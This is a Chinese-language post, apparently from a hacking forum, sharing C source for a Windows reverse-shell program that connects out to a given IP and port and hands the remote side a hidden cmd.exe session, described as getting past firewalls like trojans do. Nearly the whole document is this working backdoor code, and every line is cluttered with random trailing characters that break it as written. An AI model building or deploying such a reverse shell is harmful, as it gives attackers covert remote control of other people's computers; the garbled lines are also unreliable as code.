这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :EQme0OW
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/* ============================== TsFdy{/o*
Rebound port in Windows NT ['}^;Y?*o
By wind,2006/7 qUoMg%Z%l
===============================*/ V&4:nIS>z
#include Kl46CZs#8
#include HM$`z"p5jg
}!Diai*C
#pragma comment(lib,"wsock32.lib") mSk :7ozZ
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void OutputShell(); aG8D%i0
SOCKET sClient; q563,s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?2;n=&ZM
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void main(int argc,char **argv) xvx\H'
{ eMm~7\
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WSADATA stWsaData; Rbj+P;t&
int nRet; Kt4\&l-De
SOCKADDR_IN stSaiClient,stSaiServer; CyK$XDHa
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if(argc != 3) fN"oa>X
{ A9qO2kq7_
printf("Useage:\n\rRebound DestIP DestPort\n"); Y)4Nydq
return; {Hp}F!X$
} NBg>i7KQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8SCW.;0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Hdq/E>u
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stSaiClient.sin_family = AF_INET; yd2qf
stSaiClient.sin_port = htons(0); =@Nv:1:r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); b~haP.Cl:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _#YHc[Wz
{ q5\LdI2
printf("Bind Socket Failed!\n");
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return; "<.
} ?k:])^G5
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stSaiServer.sin_family = AF_INET; Tm:#"h\F
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MZP><Je&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) );uZ4PNK/?
{ 6U>jU[/
printf("Connect Error!"); |YGiATD4DG
return; Bbt8fJA~
} s[B6%DI/5
OutputShell(); 76i
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} W$t}3Ru
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void OutputShell() Kf?{GNE7
{ b
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char szBuff[1024]; ;~@PYIp
SECURITY_ATTRIBUTES stSecurityAttributes; rIFC#Jd/
OSVERSIONINFO stOsversionInfo; }AsF\W+5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @`y?\fWh
STARTUPINFO stStartupInfo; gJGBD9wC
char *szShell; nog\,NT
PROCESS_INFORMATION stProcessInformation; *r?51*J
unsigned long lBytesRead; + $a:X
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HlL@{<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wpdEI(
stSecurityAttributes.lpSecurityDescriptor = 0; Tvx8l
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stSecurityAttributes.bInheritHandle = TRUE; (&]15 FJ$1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); TnU$L3k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K<L%@[gi
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qp_ `Fj:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]o+|jgkt]
stStartupInfo.wShowWindow = SW_HIDE; ,/b/O4`;y
stStartupInfo.hStdInput = hReadPipe; F+$@3[Q`N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @[b:([
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GetVersionEx(&stOsversionInfo); lPN< rgg
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switch(stOsversionInfo.dwPlatformId) y yR8VO{
{ _}D?+x,C8
case 1: s=~7m.m
szShell = "command.com"; MJ"Mn^:/
break; "A1yqK
default: "!/_h >
szShell = "cmd.exe"; re7\nZ<\|
break; 4"X>_Nt6
} v|RaB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5GFnfc}
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send(sClient,szMsg,77,0); \\G6c4fC
while(1) ,M h/3DPgE
{ KP7RrgOan&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dDn4nwH
if(lBytesRead) PRlo"kN
{ 8v=47G
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); taEMr> /
send(sClient,szBuff,lBytesRead,0); f>+}U;)EF
} iY'hkr w
else JiLrwPex[
{ w@ylRq
lBytesRead=recv(sClient,szBuff,1024,0); kJeOlO[
if(lBytesRead<=0) break; h8-tbHgpb
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )* nbEZm@
} Iy4MMU
} WblV`"~e
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return; I64:-P[\
}